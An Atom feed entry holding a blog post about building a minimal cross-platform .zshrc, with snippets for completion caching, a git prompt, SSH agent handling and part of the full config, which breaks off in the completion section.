{"title":"plaintext","link":[{"@attributes":{"href":"https:\/\/spoons.fyi\/","rel":"alternate"}},{"@attributes":{"href":"https:\/\/spoons.fyi\/feeds\/all.atom.xml","rel":"self"}}],"id":"https:\/\/spoons.fyi\/","updated":"2026-02-15T00:00:00+01:00","entry":[{"title":"A Universal .zshrc File","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2026\/02\/15\/a-universal-zshrc-file.html","rel":"alternate"}},"published":"2026-02-15T00:00:00+01:00","updated":"2026-02-15T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2026-02-15:\/2026\/02\/15\/a-universal-zshrc-file.html","summary":"<p>Since forver ago, I have been using <a href=\"https:\/\/ohmyz.sh\/\">oh-my-zsh<\/a> with a fairly standard configuration. Plugins for commands I often use, utility functions, and all the clutter you accumulate after years of building and breaking software. That included fuzzing configuration, an unreal amount of version managers, and custom configurations, including those recklessly \u2026<\/p>","content":"<p>Since forver ago, I have been using <a href=\"https:\/\/ohmyz.sh\/\">oh-my-zsh<\/a> with a fairly standard configuration. Plugins for commands I often use, utility functions, and all the clutter you accumulate after years of building and breaking software. That included fuzzing configuration, an unreal amount of version managers, and custom configurations, including those recklessly appended by automatic installers. Since my day-to-day work is fairly intense, it's safe to say that for the last five years, not just my <code>.zshrc<\/code> but also various other files connected to it were left unattended. Today, this changed.<\/p>\n<h2>Figuring Out What I Want<\/h2>\n<p>This was the hardest part. \"I don't know man, just make it work like I'm used to but nicer\" didn't cut it. After staring at the wall for a few minutes, I got the following:<\/p>\n<ul>\n<li><em>Distribution should be as simple as possible.<\/em> I tried managing dotfiles with <code>rsync<\/code>, <a href=\"https:\/\/www.gnu.org\/software\/stow\/\">GNU Stow<\/a>, and a plain old Git repo. I'm also aware of <a href=\"https:\/\/www.chezmoi.io\/\">chezmoi<\/a>  and all of them gave me the feeling like I'm overengineering things.<\/li>\n<li><em>I need things to be readable.<\/em> Looking back at my old <code>.zshrc<\/code> and all the other files it included, I have no idea what's going on anymore. Back then I solved problems that I never needed solved - not even once in five years.<\/li>\n<li><em>I need things to be cross-platform.<\/em> I decided that the nicest outcome would be to have a config file I can deploy on a every setup I use. The lower bound being a Raspberry Pi 1 A+ (1x700MHz, 512MB RAM).<\/li>\n<li><em>I need it to be familiar.<\/em> I have a lot of things on my mind. Please, no studying docs, new keybinds, or new dependencies to install. Your cool management tool has a sub-sub-sub command that fixes my exact issue? Sorry, I probably won't find it out until I migrated away. Also, I can't deal with errors that prevent me from getting my work done.<\/li>\n<\/ul>\n<h2>y no bash tho?<\/h2>\n<p>I toyed with the thought of going back to plain Bash and a small <code>.bashrc<\/code> repeatedly but never really felt comfortable to make the jump. To get the zealots off my back: All I need my shell to do can be done in Bash with enough effort. A few things that still sold me on plain zsh were:<\/p>\n<ul>\n<li><em>Bash needs hacks for instant history sync.<\/em> There were many times where I launched a command, opened a new terminal tab, pressed the up arrow key, and was greeted by a random command I typed a week ago. Then I had to click back to the original tab, fight against the stdout stream actively scrolling down, try to copy the original command, accidentally Ctrl-C kill the thing and lose all my progress.. It's a mess, you get it.<\/li>\n<li><em>zsh has the better tab completion.<\/em> <code>compinit<\/code> with <code>zstyle<\/code> is a nice way to get case-sensitive matching, menu selection, and per-command completion. It's fast (if tickled right with a few lines of config), and batteries-included. No frameworks to manage.<\/li>\n<li><em>zsh has prefix history search.<\/em> I am forgetful and often need to go through my previous commands to get things right. Searching with a prefix by just typing and pressing the up arrow to navigate through the filtered history is muscle memory by now. Doing the same with ^R and ^S in Bash requires me to push two buttons on my keyboard, which is one button too many.<\/li>\n<\/ul>\n<p>All that being said, I love Bash and regularly use it on external machines. If you like to go full vanilla on your shell or go with a framework like <a href=\"https:\/\/ohmybash.nntoan.com\/\">oh-my-bash<\/a> for some reason, have fun! This is a judgement-free space.<\/p>\n<h2>Some Highlights<\/h2>\n<p>There's a few things I'm particularly happy with.<\/p>\n<h3>compinit Caching<\/h3>\n<p>The completion system, <code>compinit<\/code>, runs a security check and rebuilds a dump file on every shell start. I think this was a big contributor to the lag I experienced in my old, cluttered setup.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code>autoload<span class=\"w\"> <\/span>-Uz<span class=\"w\"> <\/span>compinit\nsetopt<span class=\"w\"> <\/span>extendedglob\n<span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[[<\/span><span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span>~\/.cache\/zcompdump<span class=\"o\">(<\/span><span class=\"c1\">#qN.mh+24) ]]; then<\/span>\n<span class=\"w\">    <\/span>compinit<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>~\/.cache\/zcompdump\n<span class=\"k\">else<\/span>\n<span class=\"w\">    <\/span>compinit<span class=\"w\"> <\/span>-C<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>~\/.cache\/zcompdump\n<span class=\"k\">fi<\/span>\nunsetopt<span class=\"w\"> <\/span>extendedglob\n<\/code><\/pre><\/div>\n\n<p>The new config uses a zsh glob qualifier <code>(#qN.mh+24)<\/code> to check if the dump is older than 24 hours and only rebuilds then. The rest of the time it loads the cache with -C. This requires <code>extendedglob<\/code>, though, which I enable and immediately disable again after because it makes <code>^<\/code> and <code>#<\/code> special characters in glob patterns. That breaks a few things like <code>git log HEAD^<\/code>.<\/p>\n<h3>Slightly Faster Git Prompt<\/h3>\n<p>Most git prompts shell out to <code>git status --porcelain<\/code>, which walks the entire working tree and formats output nobody reads. Instead, I decided to go with <code>git diff --quiet<\/code>, which exits on the first difference it finds. That's enough for me since I don't need additions and deletions, origin data, etc. There are only three separate checks (unstaged, staged, untracked) with an early exit.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"w\">    <\/span><span class=\"nb\">local<\/span><span class=\"w\"> <\/span>branch\n<span class=\"w\">    <\/span><span class=\"nv\">branch<\/span><span class=\"o\">=<\/span><span class=\"k\">$(<\/span><span class=\"nv\">GIT_OPTIONAL_LOCKS<\/span><span class=\"o\">=<\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>git<span class=\"w\"> <\/span>symbolic-ref<span class=\"w\"> <\/span>--short<span class=\"w\"> <\/span>HEAD<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"k\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$branch<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span>!<span class=\"w\"> <\/span><span class=\"nv\">GIT_OPTIONAL_LOCKS<\/span><span class=\"o\">=<\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>git<span class=\"w\"> <\/span>diff<span class=\"w\"> <\/span>--quiet<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">            <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span>!<span class=\"w\"> <\/span><span class=\"nv\">GIT_OPTIONAL_LOCKS<\/span><span class=\"o\">=<\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>git<span class=\"w\"> <\/span>diff<span class=\"w\"> <\/span>--cached<span class=\"w\"> <\/span>--quiet<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">            <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span><span class=\"o\">[[<\/span><span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"k\">$(<\/span><span class=\"nv\">GIT_OPTIONAL_LOCKS<\/span><span class=\"o\">=<\/span><span class=\"m\">0<\/span><span class=\"w\"> <\/span>git<span class=\"w\"> <\/span>ls-files<span class=\"w\"> <\/span>--others<span class=\"w\"> <\/span>--exclude-standard<span class=\"w\"> <\/span>--<span class=\"w\"> <\/span><span class=\"s1\">&#39;:\/*&#39;<\/span><span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>head<span class=\"w\"> <\/span>-1<span class=\"k\">)<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">            <\/span><span class=\"nv\">_prompt_git<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot; %F{red}(<\/span><span class=\"si\">${<\/span><span class=\"nv\">branch<\/span><span class=\"si\">}<\/span><span class=\"s2\">)%f&quot;<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">else<\/span>\n<span class=\"w\">            <\/span><span class=\"nv\">_prompt_git<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot; %F{yellow}(<\/span><span class=\"si\">${<\/span><span class=\"nv\">branch<\/span><span class=\"si\">}<\/span><span class=\"s2\">)%f&quot;<\/span>\n<span class=\"w\">        <\/span><span class=\"k\">fi<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">else<\/span>\n<span class=\"w\">        <\/span><span class=\"nv\">_prompt_git<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">fi<\/span>\n<\/code><\/pre><\/div>\n\n<p>I also set <code>GIT_OPTIONAL_LOCKS=0<\/code> so the read-only prompt checks don't block or get blocked by concurrent git operations.<\/p>\n<h3>Cross-platform SSH Agent<\/h3>\n<p>I had solved this issue on each system individually and attempted to merge my approaches. macOS has its own keychain integration, Linux has <code>keychain<\/code> (if installed), and the fallback writes the agent socket to <code>~\/.ssh\/agent-env<\/code> so new terminals reuse the same agent instead of spawning a new one each time.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[[<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"k\">$(<\/span>uname<span class=\"k\">)<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;Darwin&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span>ssh-add<span class=\"w\"> <\/span>--apple-load-keychain<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null\n<span class=\"k\">elif<\/span><span class=\"w\"> <\/span><span class=\"nb\">command<\/span><span class=\"w\"> <\/span>-v<span class=\"w\"> <\/span>keychain<span class=\"w\"> <\/span><span class=\"p\">&amp;<\/span>&gt;\/dev\/null<span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">    <\/span><span class=\"nv\">_ssh_keys<\/span><span class=\"o\">=()<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span>_f<span class=\"w\"> <\/span><span class=\"k\">in<\/span><span class=\"w\"> <\/span>~\/.ssh\/id_*<span class=\"o\">(<\/span>N<span class=\"o\">)<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span>\n<span class=\"w\">        <\/span><span class=\"o\">[[<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_f<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">==<\/span><span class=\"w\"> <\/span>*.pub<span class=\"w\"> <\/span><span class=\"o\">]]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"k\">continue<\/span>\n<span class=\"w\">        <\/span><span class=\"nv\">_ssh_keys<\/span><span class=\"o\">+=(<\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_f<\/span><span class=\"s2\">&quot;<\/span><span class=\"o\">)<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">done<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">((<\/span><span class=\"w\"> <\/span><span class=\"si\">${#<\/span><span class=\"nv\">_ssh_keys<\/span><span class=\"si\">}<\/span><span class=\"w\"> <\/span><span class=\"o\">))<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">        <\/span><span class=\"nb\">eval<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"k\">$(<\/span>keychain<span class=\"w\"> <\/span>--eval<span class=\"w\"> <\/span>--quiet<span class=\"w\"> <\/span>--nogui<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"si\">${<\/span><span class=\"nv\">_ssh_keys<\/span><span class=\"p\">[@]<\/span><span class=\"si\">}<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"k\">)<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">fi<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">unset<\/span><span class=\"w\"> <\/span>_ssh_keys<span class=\"w\"> <\/span>_f\n<span class=\"k\">else<\/span>\n<span class=\"w\">    <\/span><span class=\"nv\">_ssh_agent_env<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$HOME<\/span><span class=\"s2\">\/.ssh\/agent-env&quot;<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-f<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_ssh_agent_env<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">        <\/span>.<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_ssh_agent_env<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>&gt;\/dev\/null\n<span class=\"w\">        <\/span><span class=\"nb\">kill<\/span><span class=\"w\"> <\/span>-0<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$SSH_AGENT_PID<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null<span class=\"w\"> <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span><span class=\"nb\">unset<\/span><span class=\"w\"> <\/span>SSH_AGENT_PID\n<span class=\"w\">    <\/span><span class=\"k\">fi<\/span>\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"o\">[<\/span><span class=\"w\"> <\/span>-z<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$SSH_AGENT_PID<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span>\n<span class=\"w\">        <\/span><span class=\"nb\">eval<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"k\">$(<\/span>ssh-agent<span class=\"w\"> <\/span>-s<span class=\"w\"> <\/span>-t<span class=\"w\"> <\/span><span class=\"m\">3600<\/span><span class=\"k\">)<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>&gt;\/dev\/null\n<span class=\"w\">        <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;export SSH_AUTH_SOCK=<\/span><span class=\"nv\">$SSH_AUTH_SOCK<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_ssh_agent_env<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"w\">        <\/span><span class=\"nb\">echo<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;export SSH_AGENT_PID=<\/span><span class=\"nv\">$SSH_AGENT_PID<\/span><span class=\"s2\">&quot;<\/span><span class=\"w\"> <\/span>&gt;&gt;<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_ssh_agent_env<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"w\">        <\/span>chmod<span class=\"w\"> <\/span><span class=\"m\">600<\/span><span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$_ssh_agent_env<\/span><span class=\"s2\">&quot;<\/span>\n<span class=\"w\">        <\/span>ssh-add<span class=\"w\"> <\/span><span class=\"m\">2<\/span>&gt;\/dev\/null\n<span class=\"w\">    <\/span><span class=\"k\">fi<\/span>\n<span class=\"w\">    <\/span><span class=\"nb\">unset<\/span><span class=\"w\"> <\/span>_ssh_agent_env\n<span class=\"k\">fi<\/span>\n<\/code><\/pre><\/div>\n\n<p>Keys expire after one hour on the fallback path. This is a tradeoff for shared\/remote hosts where I don't want keys loaded indefinitely after disconnecting. <strong>\"Hold it right there, criminal scum!\"<\/strong> I hear you shout in a Skyrim guard voice. I know, I know, writing SSH agent data to a file <em>feels<\/em> insecure. However, it's set at <code>600<\/code>. If an attacker having access to it would also have access to <code>\/tmp\/ssh-*<\/code> agent files and the ability to call <code>ssh-add<\/code> against the running agent service. While this configuration doesn't really address the inherent security tradeoffs of the SSH agent, at least it doesn't make them worse.<\/p>\n<h3>Keep The Trash Outside<\/h3>\n<p>Everything machine-specific (think <code>nvm<\/code>, <code>JAVA_HOME<\/code>, <code>sdkman<\/code>, weird local paths) goes into <code>~\/.zshlocal<\/code>. It gets sourced last so it can override any wrong assumptions the <code>.zshrc<\/code> file makes. The main file stays synced and identical everywhere.<\/p>\n<h2>The Whole Thing<\/h2>\n<p>You can find it on <a href=\"https:\/\/github.com\/dmuhs\/dotfiles\">GitHub<\/a>. If you want to read the whole thing at the time of writing, here it is (at 327 LoC)!<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"c1\"># ==============================================================================<\/span>\n<span class=\"c1\"># Universal .zshrc without all the clutter.<\/span>\n<span class=\"c1\"># ==============================================================================<\/span>\n<span class=\"c1\"># Targets: macOS, WSL2, Kali Linux, hosted VPS<\/span>\n<span class=\"c1\"># Structure: shell behavior \u2192 display \u2192 tool integration \u2192 local overrides<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\"># Optional dependencies (loaded if present, silently skipped if not):<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\">#   zsh-syntax-highlighting \u2014 colors commands as you type (red = invalid)<\/span>\n<span class=\"c1\">#     macOS:  brew install zsh-syntax-highlighting<\/span>\n<span class=\"c1\">#     Debian: apt install zsh-syntax-highlighting<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\">#   zsh-autosuggestions \u2014 ghost text suggestions from history<\/span>\n<span class=\"c1\">#     macOS:  brew install zsh-autosuggestions<\/span>\n<span class=\"c1\">#     Debian: apt install zsh-autosuggestions<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\">#   asdf \u2014 universal version manager (replaces nvm, sdkman, etc.)<\/span>\n<span class=\"c1\">#     https:\/\/asdf-vm.com\/guide\/getting-started.html<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\">#   keychain \u2014 persistent SSH agent across sessions (Linux only)<\/span>\n<span class=\"c1\">#     Debian: apt install keychain<\/span>\n<span class=\"c1\">#<\/span>\n<span class=\"c1\"># Machine-specific config (NVM, Android SDK, JAVA_HOME, etc.) goes in<\/span>\n<span class=\"c1\"># ~\/.zshlocal which is sourced at the very end and should NOT be synced.<\/span>\n<span class=\"c1\"># ==============================================================================<\/span>\n\n\n<span class=\"c1\"># \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510<\/span>\n<span class=\"c1\"># \u2502 SHELL BEHAVIOR                                                             \u2502<\/span>\n<span class=\"c1\"># \u2502 How zsh interprets input. These are safe defaults with no side effects.    \u2502<\/span>\n<span class=\"c1\"># \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518<\/span>\n\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Core options<\/span>\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\nsetopt<span class=\"w\"> <\/span>autocd<span class=\"w\">              <\/span><span class=\"c1\"># type a directory name to cd into it<\/span>\nsetopt<span class=\"w\"> <\/span>interactivecomments<span class=\"w\"> <\/span><span class=\"c1\"># allow # comments in interactive shell<\/span>\nsetopt<span class=\"w\"> <\/span>promptsubst<span class=\"w\">         <\/span><span class=\"c1\"># allow variable\/command expansion in prompt string<\/span>\nsetopt<span class=\"w\"> <\/span>numericglobsort<span class=\"w\">     <\/span><span class=\"c1\"># sort filenames with numbers naturally (1, 2, 10)<\/span>\nsetopt<span class=\"w\"> <\/span>nonomatch<span class=\"w\">           <\/span><span class=\"c1\"># pass failed globs through as literals (like bash)<\/span>\nsetopt<span class=\"w\"> <\/span>globdots<span class=\"w\">            <\/span><span class=\"c1\"># tab completion includes dotfiles without typing .<\/span>\n\n<span class=\"nv\">PROMPT_EOL_MARK<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;&quot;<\/span><span class=\"w\">         <\/span><span class=\"c1\"># suppress the trailing % on partial output lines<\/span>\n<span class=\"nv\">WORDCHARS<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;_-&#39;<\/span><span class=\"w\">             <\/span><span class=\"c1\"># ctrl+arrow treats - and _ as word boundaries<\/span>\n\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># History<\/span>\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># History file grows up to 1M entries. Duplicates are removed aggressively.<\/span>\n<span class=\"c1\"># Commands prefixed with a space are not recorded (useful for secrets).<\/span>\n<span class=\"nv\">HISTFILE<\/span><span class=\"o\">=<\/span>~\/.zsh_history\n<span class=\"nv\">HISTSIZE<\/span><span class=\"o\">=<\/span><span class=\"m\">1000000<\/span>\n<span class=\"nv\">SAVEHIST<\/span><span class=\"o\">=<\/span><span class=\"m\">1000000<\/span>\nsetopt<span class=\"w\"> <\/span>share_history<span class=\"w\">            <\/span><span class=\"c1\"># sync history across all open terminals instantly<\/span>\nsetopt<span class=\"w\"> <\/span>hist_ignore_all_dups<span class=\"w\">     <\/span><span class=\"c1\"># when adding a dupe, remove the older entry<\/span>\nsetopt<span class=\"w\"> <\/span>hist_expire_dups_first<span class=\"w\">   <\/span><span class=\"c1\"># expire dupes first when trimming to SAVEHIST<\/span>\nsetopt<span class=\"w\"> <\/span>hist_ignore_space<span class=\"w\">        <\/span><span class=\"c1\"># commands starting with space are private<\/span>\nsetopt<span class=\"w\"> <\/span>hist_verify<span class=\"w\">              <\/span><span class=\"c1\"># show expanded history command before executing<\/span>\nsetopt<span class=\"w\"> <\/span>hist_reduce_blanks<span class=\"w\">       <\/span><span class=\"c1\"># strip extra whitespace before saving<\/span>\nsetopt<span class=\"w\"> <\/span>hist_save_no_dups<span class=\"w\">        <\/span><span class=\"c1\"># don&#39;t write duplicate entries to the file<\/span>\n\n<span class=\"nb\">alias<\/span><span class=\"w\"> <\/span><span class=\"nv\">history<\/span><span class=\"o\">=<\/span><span class=\"s2\">&quot;history 0&quot;<\/span><span class=\"w\">       <\/span><span class=\"c1\"># show full history (default only shows last 16)<\/span>\n\n<span class=\"c1\"># Arrow up\/down search history filtered by what you&#39;ve already typed.<\/span>\n<span class=\"c1\"># Type &quot;ssh&quot; then press up \u2014 cycles through previous ssh commands only.<\/span>\n<span class=\"c1\"># Multiple keycodes are bound because terminals disagree on what arrow keys send:<\/span>\n<span class=\"c1\">#   ^[[A\/^[[B  = normal mode (most terminals)<\/span>\n<span class=\"c1\">#   ^[OA\/^[OB  = application mode (some terminals activate this automatically)<\/span>\n<span class=\"c1\">#   $terminfo  = whatever your terminal actually reports (most portable)<\/span>\nautoload<span class=\"w\"> <\/span>-U<span class=\"w\"> <\/span>up-line-or-beginning-search<span class=\"w\"> <\/span>down-line-or-beginning-search\nzle<span class=\"w\"> <\/span>-N<span class=\"w\"> <\/span>up-line-or-beginning-search\nzle<span class=\"w\"> <\/span>-N<span class=\"w\"> <\/span>down-line-or-beginning-search\nbindkey<span class=\"w\"> <\/span><span class=\"s2\">&quot;^[[A&quot;<\/span><span class=\"w\"> <\/span>up-line-or-beginning-search\nbindkey<span class=\"w\"> <\/span><span class=\"s2\">&quot;^[[B&quot;<\/span><span class=\"w\"> <\/span>down-line-or-beginning-search\nbindkey<span class=\"w\"> <\/span><span class=\"s2\">&quot;^[OA&quot;<\/span><span class=\"w\"> <\/span>up-line-or-beginning-search\nbindkey<span class=\"w\"> <\/span><span class=\"s2\">&quot;^[OB&quot;<\/span><span class=\"w\"> <\/span>down-line-or-beginning-search\n<span class=\"o\">[[<\/span><span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$terminfo<\/span><span class=\"s2\">[kcuu1]&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span>bindkey<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$terminfo<\/span><span class=\"s2\">[kcuu1]&quot;<\/span><span class=\"w\"> <\/span>up-line-or-beginning-search\n<span class=\"o\">[[<\/span><span class=\"w\"> <\/span>-n<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$terminfo<\/span><span class=\"s2\">[kcud1]&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span>bindkey<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$terminfo<\/span><span class=\"s2\">[kcud1]&quot;<\/span><span class=\"w\"> <\/span>down-line-or-beginning-search\n\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># Completion<\/span>\n<span class=\"c1\"># ------------------------------------------------------------------------------<\/span>\n<span class=\"c1\"># IMPORTANT: Anything that adds to fpath (completion directories) MUST go<\/span>\n<span class=\"c1\"># before the compinit call below. If you add a new tool with completions,<\/span>\n<span class=\"c1\"># add its fpath entry here, not after compinit \u2014 otherwise the completions<\/span>\n<span class=\"c1\"># won&#39;t be available until the next shell session.<\/span>\n\n<span class=\"o\">[<\/span><span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>~\/.cache<span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">||<\/span><span class=\"w\"> <\/span>mkdir<span class=\"w\"> <\/span>-p<span class=\"w\"> <\/span>~\/.cache\n\n<span class=\"c1\"># Register completion directories for tools that may be installed<\/span>\n<span class=\"o\">[<\/span><span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span><span class=\"s2\">&quot;<\/span><span class=\"nv\">$HOME<\/span><span class=\"s2\">\/.asdf\/completions&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nv\">fpath<\/span><span class=\"o\">=(<\/span><span class=\"nv\">$HOME<\/span>\/.asdf\/completions<span class=\"w\"> <\/span><span class=\"nv\">$fpath<\/span><span class=\"o\">)<\/span>\n<span class=\"o\">[<\/span><span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span><span class=\"s2\">&quot;\/opt\/homebrew\/share\/zsh\/site-functions&quot;<\/span><span class=\"w\"> <\/span><span class=\"o\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">&amp;&amp;<\/span><span class=\"w\"> <\/span><span class=\"nv\">fpath<\/span><span class=\"o\">=(<\/span>\/opt\/homebrew\/share\/zsh\/site-functions<span class=\"w\"> 